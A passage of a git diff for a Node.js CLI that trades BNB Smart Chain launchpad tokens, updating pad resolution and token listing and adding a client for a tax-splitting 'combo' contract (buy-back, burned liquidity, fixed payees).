keeper spends in chunks once the token trades in its pool (each chunk splits first too, so after graduation this runs by itself)`, + }) + } + + if (sub === 'sweep') { + if (!(await listedBy(ctx, s.splitter))) return fail(notListed('buy-back splitter', testnet), { module: s.splitter }) + const asset = sweepAsset(opt, fail, ctx.wbnb) + const plan = sweepPlan({ asset, ...(await sweepReads(ctx.read, s.splitter, SPLITTER_ABI, asset)), payee: s.payee, cmd: 'gang buyback' }) + if (plan.error) return fail(plan.error, { splitter: s.splitter, asset }) + return send('sweep', [asset], { + step: 'sweep', ...plan, + note: 'anyone may: sends the splitter\'s whole balance of this asset (not its own quote; e.g. a creator fee or another token\'s tax in another quote) to the payee; none of it is bought back', + }) + } + + // release + if (!(Number(s.devOwed) > 0)) return fail(HINTS.NothingOwed) + return send('releaseDev', [], { step: 'release', amount: s.devOwed, payee: s.payee, note: 'anyone may; the payee gets what a failed push left owed' }) +} diff --git a/src/chain.js b/src/chain.js index d65810a..c673810 100644 --- a/src/chain.js +++ b/src/chain.js @@ -1,50 +1,46 @@ -import { createPublicClient, http, formatEther, parseEther, encodeFunctionData, decodeEventLog, zeroAddress } from 'viem' +import { createPublicClient, formatEther, parseAbi, parseEther, encodeFunctionData, decodeEventLog, isAddress, zeroAddress } from 'viem' import { bsc } from 'viem/chains' -import { SOFT_ABI, V2_ABI, ERC20_ABI } from './abi.js' +import { SOFT_ABI, V2_ABI, S_ABI, ERC20_ABI, WBNB_ABI } from './abi.js' +import { genOf, padNets, rpcTransport } from './gangpad.js' +import { mapLimit } from './limit.js' export const ADDR = { v2: '0x1B8F3f69DFa0a7F63d308C7EB0Fd38D8b099966E', - soft: '0x4E6f13c8A453c1b8b4E20b590082bb233a5b80d7', + softFirst: '0x315Ba2e8952D06094CC636b2B84229FA32fb23A7', // holds the Soft tokens, GANG included + softLater: '0x4E6f13c8A453c1b8b4E20b590082bb233a5b80d7', // same ABI, no tokens yet u: '0xF81C4E51c48466c6025B0165b1Ea0F6978c712cb', s: '0x60aee38576035E757deD30fF8db8A8DA476430C1', wbnb: '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c', } -const FORBIDDEN_CREATE = new Set([ADDR.soft, ADDR.u, ADDR.s].map((a) => a.toLowerCase())) - export const CONFIG = { - rpc: process.env.GANG_RPC_URL || 'https://bsc-dataseed.binance.org', - launchpad: process.env.GANG_LAUNCHPAD || ADDR.v2, chainId: '56', } -export const client = createPublicClient({ chain: bsc, transport: http(CONFIG.rpc) }) +// GANG_RPC_URL or the public nodes (gangpad.js), shared with the GangLaunchpad clients +export const client = createPublicClient({ chain: bsc, transport: rpcTransport(padNets('v3').mainnet.rpcs) }) export const fmt = (wei) => formatEther(wei) export const fmtTok = (units) => Number(formatEther(units)).toLocaleString('en-US', { maximumFractionDigits: 2 }) -export { parseEther, encodeFunctionData, zeroAddress } +export { parseEther, encodeFunctionData, isAddress, zeroAddress } const erc = (address, functionName, args = []) => client.readContract({ address, abi: ERC20_ABI, functionName, args }) const read = (address, abi, functionName, args = []) => client.readContract({ address, abi, functionName, args }) -export function assertCreateTarget(addr = CONFIG.launchpad) { - const a = String(addr || '').toLowerCase() - if (a !== ADDR.v2.toLowerCase()) { - throw new Error( - `create refused: only LaunchpadV2 ${ADDR.v2} (got ${addr}). ` + - `Soft/LaunchpadU/LaunchpadS are not create routes — buy/sell/claim existing only. ` + - `Unset GANG_LAUNCHPAD or set it to V2.`, - ) - } -} - const PADS = [ { id: 'v2', address: ADDR.v2, kind: 'v2', abi: V2_ABI }, - { id: 'soft', address: ADDR.soft, kind: 'soft', abi: SOFT_ABI }, + { id: 'soft', address: ADDR.softFirst, kind: 'soft', abi: SOFT_ABI }, + { id: 'soft', address: ADDR.softLater, kind: 'soft', abi: SOFT_ABI }, { id: 'u', address: ADDR.u, kind: 'v2', abi: V2_ABI }, - { id: 's', address: ADDR.s, kind: 'v2', abi: V2_ABI }, + { id: 's', address: ADDR.s, kind: 'v2', abi: S_ABI }, // 9-field Curve (no taxed): see S_ABI ] -/** Resolve which pad hosts `token` by probing curves(token).creator != 0. */ +const GANG_POINTER = { + v3: (t) => `a GangLaunchpad V3 (bonding-curve) token: gang info|buy|sell|status --token ${t} trade it (re-run if this was an RPC hiccup)`, + fair: (t) => `a GangLaunchpad 打新 (fair-mint) token: gang info|status --token ${t}; before launch gang mint / withdraw, after it gang buy / sell (re-run if this was an RPC hiccup)`, + fly: (t) => `a GangLaunchpad 3.0 铸币飞轮 (Mint Flywheel) token: gang info|status --token ${t}; gang mint / withdraw, after launch also gang buy / sell (re-run if this was an RPC hiccup)`, +} + +/** Resolve which pad hosts `token` by probing curves(token).creator != 0; a GangLaunchpad token is pointed at its command. */ export async function resolvePad(token) { for (const pad of PADS) { try { @@ -55,9 +51,12 @@ export async function resolvePad(token) { } } catch { /* wrong ABI shape or empty */ } } + // tokens from `gang create` / `gang fair create` live on GangLaunchpad, which these commands don't trade + const { kind } = await genOf({ gens: padNets('v3').mainnet.gens, read }, token) + if (GANG_POINTER[kind]) throw new Error(`${token} is ${GANG_POINTER[kind](token)}`) throw new Error( `not a Gang token on known pads (V2/Soft/U/S): ${token}. ` + - `Upgrade: npm i -g @gangfun/cli@0.2.1 --registry=https://npm.pkg.github.com OR npm i -g github:gangfun/cli`, + `Upgrade: npm i -g @gangfun/cli@latest OR npm i -g github:gangfun/cli`, ) } @@ -71,18 +70,37 @@ function v2InfoFromCurve(c) { return { kind: 'v2', creator, raised: realQuote, sold, graduated, pair, quote, gradAmt, taxed, virtualQuote, refPair } } +/** LaunchpadS: no `taxed` field — every S token is a TaxLaunchToken (1% pool tax). */ +function sInfoFromCurve(c) { + const [creator, quote, realQuote, sold, gradAmt, virtualQuote, graduated, pair, refPair] = c + return { kind: 'v2', creator, raised: realQuote, sold, graduated, pair, quote, gradAmt, taxed: true, virtualQuote, refPair } +} + +/** The curve of a resolved pad in one shape, whatever the pad's layout. */ +const curveInfo = (pad) => (pad.kind === 'soft' ? softInfoFromCurve(pad.curve) : pad.id === 's' ? sInfoFromCurve(pad.curve) : v2InfoFromCurve(pad.curve)) + +const PAIR_ABI = parseAbi(['function getReserves() view returns (uint112, uint112, uint32)', 'function token0() view returns (address)']) + +/** A graduated Soft token's price in its PancakeSwap pool (always against WBNB): BNB per token, 1e18 scale. */ +async function softPoolPrice(token, pair) { + const [[r0, r1], t0] = await Promise.all([read(pair, PAIR_ABI, 'getReserves'), read(pair, PAIR_ABI, 'token0')]) + const [tokenReserve, bnbReserve] = t0.toLowerCase() === token.toLowerCase() ? [r0, r1] : [r1, r0] + return tokenReserve > 0n ? (bnbReserve * 10n ** 18n) / tokenReserve : null +} + export async function tokenInfo(token, me) { const pad = await resolvePad(token) - const base = pad.kind === 'soft' ? softInfoFromCurve(pad.curve) : v2InfoFromCurve(pad.curve) + const base = curveInfo(pad) const [name, symbol] = await Promise.all([erc(token, 'name'), erc(token, 'symbol')]) let locked = null try { locked = await erc(token, 'locked') } catch { /* */ } + // the wallet cap is the curve's: a graduated token has none let cap = null - try { cap = await read(pad.address, pad.abi, 'MAX_PER_WALLET') } catch { /* */ } + if (!base.graduated) try { cap = await read(pad.address, pad.abi, 'MAX_PER_WALLET') } catch { /* */ } let price = null if (pad.kind === 'soft') { - try { price = base.graduated ? 100000000000n : await read(pad.address, pad.abi, 'spotPrice', [token]) } catch { /* */ } + try { price = base.graduated ? await softPoolPrice(token, base.pair) : await read(pad.address, pad.abi, 'spotPrice', [token]) } catch { /* */ } } else if (base.virtualQuote && base.virtualQuote > 0n) { // spot ≈ virtualQuote / (VIRTUAL_TOKEN - sold) * 1e18-ish; expose raised/grad instead const vq = BigInt(base.virtualQuote) @@ -93,7 +111,8 @@ export async function tokenInfo(token, me) { } const grad = base.gradAmt != null ? BigInt(base.gradAmt) : (pad.kind === 'soft' ? await read(pad.address, pad.abi, 'GRADUATION_BNB') : 15n * 10n ** 18n) - const raised = BigInt(base.raised) + // a graduated Soft curve's realBnb went to the pool: it raised its whole target + const raised = pad.kind === 'soft' && base.graduated ? grad : BigInt(base.raised) const info = { token, name, symbol, creator: base.creator, graduated: base.graduated, pair: base.graduated ? base.pair : null, locked, @@ -112,7 +131,7 @@ export async function tokenInfo(token, me) { if (me) { const bal = await erc(token, 'balanceOf', [me]) info.myBalance = fmtTok(bal); info.myBalanceRaw = bal.toString() - try { + if (!base.graduated) try { const room = await read(pad.address, pad.abi, 'walletRoom', [token, me]) info.myRoomTokens = fmtTok(room); info.myRoomRaw = room.toString() } catch { /* */ } @@ -120,18 +139,26 @@ export async function tokenInfo(token, me) { return info } -export async function listTokens(me) { - const out = [] +/** + * `gang list` without --kind: the newest `perPad` tokens of each V2 / Soft / U / S pad, read on chain (the fallback when + * gang.fun's API is down). Reading every token of every pad took minutes (LaunchpadV2 alone has hundreds), so the + * newest first, a few reads at a time. → { tokens, pads: [{ pad, address, total, listed }] } + */ +export async function listTokens(me, perPad = 20) { + const tokens = [] + const pads = [] for (const pad of PADS) { try { - const n = await read(pad.address, pad.abi, 'tokenCount') - const addrs = await Promise.all(Array.from({ length: Number(n) }, (_, i) => read(pad.address, pad.abi, 'allTokens', [BigInt(i)]))) - for (const a of addrs) { - try { out.push(await tokenInfo(a, me)) } catch { /* skip */ } - } - } catch { /* pad down */ } + const n = Number(await read(pad.address, pad.abi, 'tokenCount')) + const idx = Array.from({ length: Math.min(n, perPad) }, (_, i) => BigInt(n - 1 - i)) + const addrs = await mapLimit(idx, 8, (i) => read(pad.address, pad.abi, 'allTokens', [i])) + const infos = await mapLimit(addrs, 8, (a) => tokenInfo(a, me).catch(() => null)) + const listed = infos.filter(Boolean) + tokens.push(...listed) + pads.push({ pad: pad.id, address: pad.address, total: n, listed: listed.length }) + } catch { pads.push({ pad: pad.id, address: pad.address, total: null, listed: 0, error: 'pad unreadable' }) } } - return out + return { tokens, pads } } /** LaunchpadV2 curve constants (LaunchpadV2.sol) — unique off-chain path = on-chain math. */ @@ -203,6 +230,9 @@ function v2QuoteSellFromCurve(base, tokensIn) { export async function quoteBuy(token, buyer, amountHuman) { const pad = await resolvePad(token) + if (curveInfo(pad).graduated) { + throw new Error(`${token} has graduated: it trades in its PancakeSwap pool, not on the curve. gang buy --amount builds that trade`) + } const gross = parseEther(amountHuman) if (pad.kind === 'soft') { const [tokensOut, bnbIn, fee, refund] = await read(pad.address, pad.abi, 'quoteBuy', [token, buyer, gross]) @@ -211,7 +241,7 @@ export async function quoteBuy(token, buyer, amountHuman) { quotePath: 'onchain-quoteBuy' } } // Unique path: LaunchpadV2.sol _prepBuy / _tokensOut / _quoteInFor (no on-chain quoteBuy view). - const base = v2InfoFromCurve(pad.curve) + const base = curveInfo(pad) let room = null try { room = await read(pad.address, pad.abi, 'walletRoom', [token, buyer]) } catch { /* */ } const q = v2QuoteBuyFromCurve(base, gross, room) @@ -229,7 +259,7 @@ export async function quoteSell(token, tokensIn) { tokensInFmt: fmtTok(tokensIn), outFmt: fmt(bnbToUser), feeFmt: fmt(fee), unit: 'BNB', quotePath: 'onchain-quoteSell' } } - const base = v2InfoFromCurve(pad.curve) + const base = curveInfo(pad) const q = v2QuoteSellFromCurve(base, tokensIn) return { kind: 'v2', pad: pad.id, padAddress: pad.address, quote: base.quote, tokensIn, out: q.out, fee: q.fee, tokensInFmt: fmtTok(tokensIn), outFmt: fmt(q.out), feeFmt: fmt(q.fee), unit: 'quote', @@ -239,7 +269,7 @@ export async function quoteSell(token, tokensIn) { export async function isAgent(account) { // Prefer V2 gate (create path); fall back Soft. try { return await read(ADDR.v2, V2_ABI, 'isAgent', [account]) } catch { /* */ } - try { return await read(ADDR.soft, SOFT_ABI, 'isAgent', [account]) } catch { /* */ } + try { return await read(ADDR.softFirst, SOFT_ABI, 'isAgent', [account]) } catch { /* */ } return false } @@ -254,17 +284,39 @@ export const calldata = { v2Buy: (token, quoteIn, minTokensOut) => encodeFunctionData({ abi: V2_ABI, functionName: 'buy', args: [token, quoteIn, minTokensOut] }), v2Sell: (token, tokensIn, minQuoteOut) => encodeFunctionData({ abi: V2_ABI, functionName: 'sell', args: [token, tokensIn, minQuoteOut] }), approve: (spender, amount) => encodeFunctionData({ abi: ERC20_ABI, functionName: 'approve', args: [spender, amount] }), - createV2: (name, symbol, logoURI, taxed, pairOrQuote) => - encodeFunctionData({ abi: V2_ABI, functionName: 'create', args: [name, symbol, logoURI, taxed, pairOrQuote] }), + wrap: () => encodeFunctionData({ abi: WBNB_ABI, functionName: 'deposit' }), +} + +/** + * Events of the logs that decode with one of `abis`, each with the emitting contract: GangLaunchpad logs, which `gang tx` + * reads beside the V2 / Soft / U / S pads'. Integers stay as on chain (strings), marked `units: 'raw'`: amounts are in wei + * (18 decimals), bps / shares / counts as they are; the V2 / Soft events are formatted (no `units`). + */ +export function decodeLogs(logs, abis) { + const events = [] + for (const log of logs) { + for (const abi of abis) { + try { + const ev = decodeEventLog({ abi, data: log.data, topics: log.topics }) + events.push({ event: ev.eventName, contract: log.address, units: 'raw', ...Object.fromEntries(Object.entries(ev.args).map(([k, v]) => [k, typeof v === 'bigint' ? v.toString() : v])) }) + break + } catch { /* other contract / event */ } + } + } + return events } -export async function decodeTx(hash) { +/** `extraAbis`: decoders for logs not from the V2 / Soft / U / S pads (see decodeLogs). */ +export async function decodeTx(hash, extraAbis = []) { const r = await client.waitForTransactionReceipt({ hash, timeout: 120_000 }) const events = [] const known = new Map(PADS.map((p) => [p.address.toLowerCase(), p])) for (const log of r.logs) { const pad = known.get(log.address.toLowerCase()) - if (!pad) continue + if (!pad) { + events.push(...decodeLogs([log], extraAbis)) + continue + } try { const ev = decodeEventLog({ abi: pad.abi, data: log.data, topics: log.topics }) const a = Object.fromEntries(Object.entries(ev.args).map(([k, v]) => { diff --git a/src/combo.js b/src/combo.js new file mode 100644 index 0000000..074b8b4 --- /dev/null +++ b/src/combo.js @@ -0,0 +1,609 @@ +import { createPublicClient, parseAbi, encodeFunctionData, formatUnits, getAddress, hexToString, isAddress, maxUint128, maxUint256, parseUnits, zeroAddress } from 'viem' +import { atPad, atTokenPad, GANG_GENS, gangGens, KIND_UNREAD, padNets, NOT_ON_MAINNET, rpcTransport } from './gangpad.js' +import { walletFor } from './fair.js' +import { parseAmount, parseNum, revertOf as revertIn, step } from './steps.js' +import { parseSplitSpec } from './split.js' + +/** + * `gang combo …` and `gang create … --buyback --lp [--split :,…]` (any two or three of them) — + * GangComboSplitter (组合:回购 + 加池 + 分账, `combo-v1`): one V3 token's tax recipient that does what the three + * single-purpose modules do, at once. Of each payment of the bound quote, `buybackBps` is set aside for buy-back-and-burn + * (GangBuybackSplitter v4's chunk), `lpBps` for liquidity whose LP goes to 0xdead (GangLiquiditySplitter's chunk), and the + * rest is pushed to 1–10 payees at fixed shares (GangSplitModule's push; none when buy-back + LP = 100%). + * EVERYTHING is fixed when it is cloned: nobody (not the dev, not the platform) can change the ratios, the payees or their + * shares — unlike a lone buy-back / LP splitter, whose dev can change its ratio. A payee can only move its own slot + * (`setPayee`). GangComboSplitterFactory clones one for the dev (`create(buybackBps, lpBps, payees, shares, salt)`, at + * `predict(dev, salt)`) and has GangHandlerAdmin list it, so the dev names it as the recipient at create (launch.js does + * the three steps: clone → create → bind, as for --buyback / --split / --lp). + * Chunks: one per 4 minutes for both kinds together, always of the larger set-aside part (`chunk`), ≤ 0.5% of the pair's + * quote reserve, none while the price is > 2% above the pair's 10-minute average. The keeper's `work(minOut)` does the one + * action `previewWork` planned, encoded in minOut's top byte (1 buy-back, 2 liquidity, 3 price observation, 4 split). + * Any other asset: the buy-back + LP share goes to 0xdead, the rest to the payees (`distribute(asset)`; NotBound before + * `bind`). + * Gas: a chunk takes ~0.55–0.75M, and a split pushes up to 10 payees, each needing ~365k gas left before it. The CLI never + * sets a gas limit: the wallet / node estimates it; a lower one reverts PushStarved (nothing moves) or the chunk. + * Env: GANG_COMBO_FACTORY / GANG_TESTNET_COMBO_FACTORY override the create target's factory (gangpad.js). + */ + +// one factory per GangLaunchpad generation (it is bound to one pad and its GangHandlerAdmin): the create target's +// (GANG_GENS in gangpad.js). A clone reverts NotFactory until the platform allows the factory on GangHandlerAdmin +export const MAINNET_COMBO_FACTORY = GANG_GENS.mainnet[0].comboFactory +export const TESTNET_COMBO_FACTORY = GANG_GENS.testnet[0].comboFactory +export const COMBO_TYPE = 'combo-v1' +export const MAX_PAYEES = 10 +const BPS = 10_000 +const CHUNK_GAP_S = 4 * 60 + +/** previewWork's planned action, minOut's top byte (GangComboSplitter DO_*). */ +export const WORK_ACTIONS = { 0: 'none', 1: 'buy-back', 2: 'liquidity', 3: 'observe', 4: 'split' } +const WORK_WHAT = { + none: 'nothing to do', + 'buy-back': 'one buy-back chunk (buys the token in the pair and burns it at 0xdead)', + liquidity: 'one liquidity chunk (half buys the token, all of it goes back into the pair with the matching quote, LP to 0xdead)', + observe: 'a price observation (the 10-minute average a chunk needs)', + split: 'a split that pays the payees their part of the quote that arrived', +} +const LOW_248 = (1n << 248n) - 1n + +/** previewWork's minOut → { code, action, minTokensOut (chunks only), what }. Pass minOut to work() as returned. */ +export function decodeWorkPlan(minOut) { + const v = BigInt(minOut ?? 0n) + const code = Number(v >> 248n) + const action = WORK_ACTIONS[code] ?? `unknown (${code})` + const value = v & LOW_248 + return { + code, action, ...((code === 1 || code === 2) && { minTokensOut: formatUnits(value, 18) }), + what: WORK_WHAT[action] ?? 'an action this CLI does not know', + } +} + +const ERRORS = [ + 'error ZeroAddress()', 'error NotClone()', 'error NotFactory()', 'error AlreadyInitialized()', 'error BadBps()', + 'error BadPayees()', 'error BadShares()', 'error BadPayee()', 'error DuplicatePayee()', 'error BadIndex()', + 'error NotPayee()', 'error AlreadyBound()', 'error NotBound()', 'error NotCurve()', 'error NotCreator()', + 'error NotRecipient()', 'error NothingOwed()', 'error NothingToChunk()', 'error ChunkTooSoon()', 'error NotTradable()', + 'error Slippage()', 'error PushStarved()', +] + +export const COMBO_FACTORY_ABI = parseAbi([ + 'function create(uint16 buybackBps, uint16 lpBps, address[] payees, uint16[] shares, bytes32 salt) returns (address module)', + 'function predict(address dev, bytes32 salt) view returns (address)', + 'function pad() view returns (address)', + 'error NotAgent()', 'error WrongHandler()', + 'event Created(address indexed dev, address indexed module, uint16 buybackBps, uint16 lpBps, address[] payees, uint16[] shares)', + ...ERRORS, +]) + +export const COMBO_ABI = parseAbi([ + 'function moduleType() view returns (bytes32)', + 'function pad() view returns (address)', + 'function dev() view returns (address)', + 'function token() view returns (address)', + 'function quote() view returns (address)', + 'function pair() view returns (address)', + 'function gangQuote() view returns (address)', + 'function buybackBps() view returns (uint16)', + 'function lpBps() view returns (uint16)', + 'function payeesOf() view returns (address[] payees, uint16[] shares)', + 'function buybackLeft() view returns (uint256)', + 'function lpLeft() view returns (uint256)', + 'function owedOf(address asset, uint256 index) view returns (uint256)', + 'function owedTotal(address asset) view returns (uint256)', + 'function unsplit() view returns (uint256)', + 'function undistributed(address asset) view returns (uint256)', + 'function keeperServes(address q) view returns (bool)', + 'function previewChunk() view returns (bool ready, bool burn, uint256 amount, uint256 tokensOut)', + 'function previewWork() view returns (bool due, uint256 minOut)', + 'function lastChunkAt() view returns (uint64)', + 'function lastPaidAt() view returns (uint64)', + 'function bind(address token)', + 'function split()', + 'function distribute(address asset) returns (uint256 incoming)', + 'function release(address asset, uint256 index, uint256 maxAmount) returns (uint256 amount)', + 'function setPayee(uint256 index, address newPayee)', + 'function chunk(uint256 minTokensOut) returns (bool burn, uint256 quoteIn, uint256 tokensOut, uint256 liquidity)', + 'function work(uint256 minOut)', + 'event Bound(address indexed token, address indexed quote)', + 'event Split(uint256 incoming, uint256 toBuyback, uint256 toLp, uint256 toPayees)', + 'event Distributed(address indexed asset, uint256 incoming, uint256 toDead)', + 'event PayeeOwed(address indexed asset, uint256 indexed index, uint256 amount)', + 'event PayeeReleased(address indexed asset, uint256 indexed index, uint256 amount)', + 'event PayeeChanged(uint256 indexed index, address indexed oldPayee, address indexed newPayee)', + 'event Shortfall(address indexed asset, uint256 amount)', + 'event BoughtBack(uint256 quoteIn, uint256 burned, uint256 left)', + 'event LiquidityAdded(uint256 quoteIn, uint256 tokensIn, uint256 liquidity, uint256 left)', + ...ERRORS, +]) +/** gang tx decodes these (the factory's Created and the module's events). */ +export const COMBO_EVENT_ABIS = [COMBO_FACTORY_ABI, COMBO_ABI] + +const PAD_ABI = parseAbi([ + 'function taxConfigOf(address token) view returns (uint16 buyTaxBps, uint16 sellTaxBps, uint16 dividendBps, address recipient)', + 'function curves(address token) view returns (address creator, address quote, uint128 realQuote, uint128 sold, uint128 gradAmt, uint128 virtualQuote, bool graduated, uint16 buyTaxBps, uint16 sellTaxBps, uint16 dividendBps, address pair, address refPair)', +]) +const ERC20_ABI = parseAbi(['function symbol() view returns (string)', 'function decimals() view returns (uint8)']) + +export const COMBO_GAS_NOTE = 'let the wallet estimate the gas limit (eth_estimateGas) and do not set or lower it: a chunk takes about 0.55–0.75M gas, and a split pushes up to 10 payees, each needing about 365k gas left before it, so the limit is far above the gas used; a lower limit reverts (PushStarved: nothing moves)' + +export const HINTS = { + NotAgent: 'only an Agent can create a V3 token, so only an Agent gets a combined recipient', + NotFactory: 'this combo factory is not allowed on the platform\'s GangHandlerAdmin: it cannot list a combined recipient as a tax recipient. If GANG_COMBO_FACTORY / GANG_TESTNET_COMBO_FACTORY is set, unset it to use the built-in factory; otherwise launch with one of --buyback / --lp / --split alone', + BadBps: '--buyback + --lp is at most 100%', + BadPayees: 'below 100% buy-back + LP: 1–10 payees (--split), one share each; at 100%: no payees', + BadShares: 'each payee share at least 0.01% (1 bps) of the rest, all adding up to 100% of it', + BadPayee: 'a payee cannot be the combined recipient itself', + DuplicatePayee: 'that address is a payee already (each address holds at most one slot)', + ZeroAddress: 'the zero address cannot be a payee', + BadIndex: 'no payee slot with that index (gang combo status lists them, from 0)', + NotPayee: 'only the current payee of a slot can move it to another address', + AlreadyBound: 'the combined recipient is bound to a token already', + NotBound: 'the combined recipient is not bound to a token yet (gang combo bind --token ): nothing is split before that', + NotCurve: 'not a V3 (curve) token on this pad', + NotCreator: 'the token was not created by this combined recipient\'s dev', + NotRecipient: 'the token does not pay its tax to this combined recipient', + NothingOwed: 'nothing is owed to that slot in this asset (gang combo status shows what each slot is owed)', + NothingToChunk: 'nothing is set aside for a buy-back or liquidity chunk yet (buybackLeft / lpLeft): it fills as the tax arrives', + ChunkTooSoon: 'one chunk (buy-back or liquidity, together) per 4 minutes: wait until 4 minutes after the last one (lastChunkAt)', + NotTradable: 'the token has not graduated: chunks start once it trades in its PancakeSwap pair', + Slippage: 'the pool price moved since the preview (fewer tokens than the minimum): run gang combo chunk again', + PushStarved: `the tx's gas limit was too low for the payee pushes: ${COMBO_GAS_NOTE}`, +} +export const revertOf = (e) => revertIn(e, [COMBO_ABI, COMBO_FACTORY_ABI], HINTS) + +/** Dry-run a call; { failed } with the revert when it would not pass. */ +export async function simulateCombo(client, from, address, abi, functionName, args = []) { + try { + const { result } = await client.simulateContract({ account: from, address, abi, functionName, args }) + return { result } + } catch (e) { + const r = revertOf(e) + return { failed: r ? { reverted: true, ...r } : { reverted: false, error: e.shortMessage || e.message.split('\n')[0] } } + } +} + +/** The create target's combo factory (a launch clones its combined recipient there, for the pad the token goes to). */ +export function comboFactoryAddress(testnet) { + return gangGens(testnet)[0].comboFactory || null +} + +export const comboNotDeployed = (testnet) => (testnet + ? 'GangComboSplitterFactory (the combined recipient) is not deployed on the BSC testnet in this CLI version: set GANG_TESTNET_COMBO_FACTORY to its address, or give one of --buyback / --lp / --split alone' + : 'GangComboSplitterFactory (the combined recipient) is not deployed on BSC mainnet in this CLI version: set GANG_COMBO_FACTORY to its address, or give one of --buyback / --lp / --split alone') + +const COMBO_REST_NOTE = 'in a combined launch --split lists the payees of what --buyback and --lp leave, their shares adding up to 100 (of that rest)' + +/** + * A combined launch's flags → { buybackBps, lpBps, payees, shares, list } or { error, … }, checked as + * GangComboSplitter.initialize checks them. `buybackBps` / `lpBps`: the parsed --buyback / --lp (bps, 0 when absent); + * `split`: the raw --split (undefined when absent); `me`: the creating wallet (`self`, and the only payee by default). + * Payee shares are of the rest (10,000 − buyback − LP); the payee being the module itself is checked once its address is + * known (launch.js, from predict). + */ +export function parseComboSpec({ buybackBps = 0, lpBps = 0, split } = {}, me) { + const kept = buybackBps + lpBps + if (kept > BPS) return { error: `--buyback ${buybackBps / 100} + --lp ${lpBps / 100} is ${kept / 100}%, more than 100% of the recipient's part`, hint: 'lower one of them: the payees (--split) share what the two leave' } + if (kept === 0) return { error: '--buyback 0 and --lp 0 leave only the payees: give --split alone for a split module', hint: 'or raise --buyback / --lp' } + if (kept === BPS) { + if (split !== undefined) return { error: `--buyback + --lp is 100% of the recipient's part: nothing is left for payees, so --split is refused`, hint: 'drop --split, or lower --buyback / --lp so the payees get the rest' } + return { buybackBps, lpBps, payees: [], shares: [], list: [] } + } + let spec + if (split === undefined) { + if (!isAddress(me ?? '')) return { error: 'the rest of the recipient\'s part goes to your wallet: sign in with baw, or give --from (or name the payees with --split)' } + spec = { payees: [getAddress(me)], shares: [BPS], list: [{ index: 0, payee: getAddress(me), pct: 100, you: true }] } + } else { + spec = parseSplitSpec(split, me) + if (spec.error) return { ...spec, hint: spec.hint ? `${spec.hint}. ${COMBO_REST_NOTE}` : COMBO_REST_NOTE } + } + const rest = BPS - kept + return { + buybackBps, lpBps, payees: spec.payees, shares: spec.shares, + list: spec.list.map(({ pct: p, ...x }) => ({ ...x, pctOfRest: p, pctOfRecipient: ofRecipient(spec.shares[x.index], rest) })), + } +} + +/** A payee's share of the rest (bps) as a % of the recipient's whole part. */ +const ofRecipient = (share, rest) => Math.round((Number(share) * rest) / 1e2) / 1e4 + +/** The combo as one line: "30% buy-back, 30% liquidity, the rest (40%): 0xAb…: 70%, 0xCd…: 30%". */ +export function comboLine(buybackBps, lpBps, payees, shares) { + const rest = BPS - buybackBps - lpBps + const parts = [`${buybackBps / 100}% buy-back and burn`, `${lpBps / 100}% liquidity (LP to 0xdead)`] + if (payees.length) parts.push(`the rest (${rest / 100}%) to ${payees.map((p, i) => `${p}: ${Number(shares[i]) / 100}% of it`).join(', ')}`) + return parts.join(', ') +} + +export const PERMANENT_NOTE = 'PERMANENT: the buy-back %, the LP %, the payees and their shares are fixed for good — nobody (not you, not the platform) can change them later, unlike a lone --buyback or --lp splitter whose dev can change its ratio; a payee can only move its own slot to another address (gang combo set-payee)' + +/** What the combo does with each part, and with any other asset (the preview and status note). */ +export function comboParts(buybackBps, lpBps, nPayees) { + const dead = (buybackBps + lpBps) / 100 + return { + buyback: `${buybackBps / 100}% of each tax payment to this recipient (in the token's quote) is set aside and bought back in the PancakeSwap pair, the tokens burned (0xdead)`, + liquidity: `${lpBps / 100}% is set aside and added to the pair as liquidity (half buys the token, all of it goes back in with the matching quote), the LP sent to 0xdead (locked for good)`, + payees: nPayees ? `the rest (${(BPS - buybackBps - lpBps) / 100}%) is pushed to the payees at their shares (the first also takes the rounding dust)` : 'no payees: buy-back + liquidity take it all', + chunks: 'after graduation, one chunk per 4 minutes for both kinds together (always the larger set-aside part), at most 0.5% of the pair\'s quote reserve, none while the price is more than 2% above its 10-minute average', + otherAssets: nPayees + ? `any other asset sent to it (not the token's quote) cannot be bought back or added: its buy-back + LP share (${dead}%) goes to 0xdead, the rest to the payees (gang combo distribute --asset )` + : 'any other asset sent to it (not the token\'s quote) goes to 0xdead in full (gang combo distribute --asset )', + } +} + +const iso = (s) => (Number(s) > 0 ? new Date(Number(s) * 1000).toISOString() : null) +const q18 = (x) => formatUnits(x, 18) + +/** _kindOf: the larger set-aside part (a buy-back on a tie); a liquidity part under 2 wei has no half. */ +function kindOf(bb, lp) { + const canBurn = bb !== 0n, canAdd = lp / 2n !== 0n + if (!canBurn && !canAdd) return null + if (!canAdd) return 'buy-back' + if (!canBurn) return 'liquidity' + return bb >= lp ? 'buy-back' : 'liquidity' +} + +/** + * The module's state for printing, from the raw reads (pure: unit-tested). `raw`: { module, dev, token, quote, + * quoteSymbol, buybackBps, lpBps, payees, shares, buybackLeft, lpLeft, unsplit, lastChunkAt, lastPaidAt, + * keeperServesQuote, preview: [ready, burn, amount, tokensOut] | null, work: [due, minOut] | null, graduated: bool | null, + * assets: [{ asset, symbol, decimals, undistributed, owedTotal, owed: bigint[] | null }], now (unix s) }. `ref`: how later + * commands name it (e.g. `--token 0x… --testnet`). + */ +export function formatCombo(raw, ref) { + const token = raw.token && raw.token !== zeroAddress ? raw.token : null + const quote = token && raw.quote && raw.quote !== zeroAddress ? raw.quote : null + const isQuote = (a) => !!quote && a.toLowerCase() === quote.toLowerCase() + const bbBps = Number(raw.buybackBps), lpBps = Number(raw.lpBps) + const rest = BPS - bbBps - lpBps + const dev = String(raw.dev).toLowerCase() + const payees = raw.payees.map((payee, index) => ({ + index, payee, pctOfRest: Number(raw.shares[index]) / 100, pctOfRecipient: ofRecipient(raw.shares[index], rest), + bps: Number(raw.shares[index]), ...(payee.toLowerCase() === dev && { isDev: true }), + })) + const now = Number(raw.now ?? Math.floor(Date.now() / 1000)) + const last = Number(raw.lastChunkAt ?? 0n) + + // the set-aside parts once the waiting quote is split (as the contract's _afterSplit, without a shortfall) + const unsplit = BigInt(raw.unsplit ?? 0n) + let toBb = (unsplit * BigInt(bbBps)) / 10_000n, toLp = (unsplit * BigInt(lpBps)) / 10_000n + if (!payees.length) { + const pay = unsplit - toBb - toLp + if (bbBps !== 0) toBb += pay + else toLp += pay + } + const bbAfter = BigInt(raw.buybackLeft) + toBb, lpAfter = BigInt(raw.lpLeft) + toLp + const kind = kindOf(bbAfter, lpAfter) + const [ready, burn, amount, tokensOut] = 